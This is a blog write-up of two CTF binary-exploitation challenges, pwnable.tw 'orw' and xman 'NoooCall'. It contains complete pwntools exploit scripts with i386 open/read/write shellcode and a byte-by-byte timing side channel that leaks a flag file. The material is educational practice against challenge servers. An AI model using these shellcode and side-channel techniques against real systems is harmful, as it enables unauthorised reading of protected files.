shellcode 的一些总结

pwnable.tw orw

The first program logic is very simple, it can receive 0xc8 bytes from the read function that we input unlimitied and save it in bss section then the program will call the shellcode. let’s see it in IDA.

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}

Quite easy, right? Because the 0xc8 bytes are enough to do many things, like calling a shell in bash, executing system call and etc. Unfortunately, this program only can use read, open and write.

So we should use the syscall open the flag and read it in bss section, finally use write to output. Before we making the exp, let us study some funaditon knowledge of compile && syscall in i386.

basic knowledge

Not same as amd64, the arch of i386 use EBX ECX EDX ESI EDI to pass parameters from 1st to 5nd.

Commonly used system calls

Eax System call Ebx Ecx
5 Open unsigned int fd int flags
3 Read const char *filename char *buf
4 Write unsigned int fd const char *buf

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
if __name__ == '__main__':
context.log_level = 'debug'
context.arch = 'i386'
LOCAL = 0
DEBUG = 0
# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
# x64 below
#16_04_magic = [0x45216,0x4526a,0xf02a4,0xf1147]

#18_04_magic = [0x4f2c5,0x4f322,0x10a38c]

if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
t = remote('192.168.5.186', 9999)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if DEBUG:
gdb.attach(t)
else:
t = remote('chall.pwnable.tw', 10001)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')




def debug():
raw_input('go?')



sc = asm("""
xor eax,eax
xor ebx,ebx
xor ecx,ecx
jmp str
open:
pop ebx
mov eax,5
mov ecx,0
int 0x80

read:
mov ebx,eax
mov ecx,0x804A10A
mov edx,0x40
mov eax,3
int 0x80

write:
mov edx,eax
mov ebx,1
mov ecx,0x804A10A
mov eax,4
int 0x80

str:
call open
.ascii "/home/orw/flag"
.byte 0
""")

ru('shellcode:')
s(sc)
irt()

xman NoooCall

This challenge examines the ability to write shellcode and limits the size of shellcode to 0x10 bytes. Besides, we can’t use any system call such as write, open, read, etc.

1
2
3
4
5
6
7
pwndbg> checksec 
[*] '/home/carlstar/Desktop/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

The program in IDA looks like below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void *v3; // ST10_8
void *buf; // ST18_8
FILE *v6; // [rsp+8h] [rbp-28h]

sub_B91(a1, a2, a3);
v6 = fopen("./flag.txt", "r");
if ( !v6 )
exit(1);
v3 = mmap((void *)0x200000000LL, 0x2000uLL, 3, 34, -1, 0LL);
buf = mmap((void *)0x300000000LL, 0x20000uLL, 7, 34, -1, 0LL);
_isoc99_fscanf(v6, "%s", v3);
printf("Your Shellcode >>", "%s");
read(0, buf, 0x10uLL);
sub_C34();
((void (__fastcall *)(_QWORD, void *))buf)(0LL, buf);
return 0LL;
}

It seems rather difficult to work out, so I run the program in gdb and try to seek out clues. I set the breakpoint at 0x555555554000 + 0xd87. The number “1234”, which is my input test data at 0x300000000. The content of flag.txt is at 0x200000000 , both of the address are constant.

There is a amazing technology that we can use two registers to compare flag.txt and we input data in byte size. If the same byte then use jz to repeat the shellcode, at last we use time to judge the flag. Is it very familiar? Bingo! To some extent it just like Time-Based Blind SQL Injection, if you konw the web skills, you may get the point, hahah.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
from string import printable
if __name__ == '__main__':
#context.log_level = 'debug'
context.arch = 'amd64'
#LOCAL = 1
DEBUG = 0

# functions for quick script
s = lambda data :t.send(str(data))
sa = lambda delim,data :t.sendafter(str(delim), str(data))
sl = lambda data :t.sendline(str(data))
sla = lambda delim,data :t.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :t.recv(numb)
ru = lambda delims, drop=True :t.recvuntil(delims, drop)
irt = lambda :t.interactive()

# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
# x64 below
#16_04_magic = [0x45216,0x4526a,0xf02a4,0xf1147]

#18_04_magic = [0x4f2c5,0x4f322,0x10a38c]

#if LOCAL:
#t = process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
# t = remote('192.168.5.188', 9999)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# else:
# t = remote('ip', 1337)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')




def debug():
raw_input('go?')
addr_flag = 0x200000000
flag = ''
for i in range(20):
for j in printable:
t = remote('192.168.5.188', 9999)
#debug()
payload = ("""
_start:
loop:
mov rax,{:#x}
mov bl,{:d}
cmp byte ptr [rax],bl
je loop
""").format(addr_flag + i,ord(j))
#print j

payload = asm(payload)

sa('Shellcode >>',payload)
try:
t.recv(timeout = 1)
flag = flag + j
log.info(flag)
t.close()
except:
t.close()
文章作者: Carl Star
文章链接: https://carlstar.club/2019/11/28/sc/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 car1's home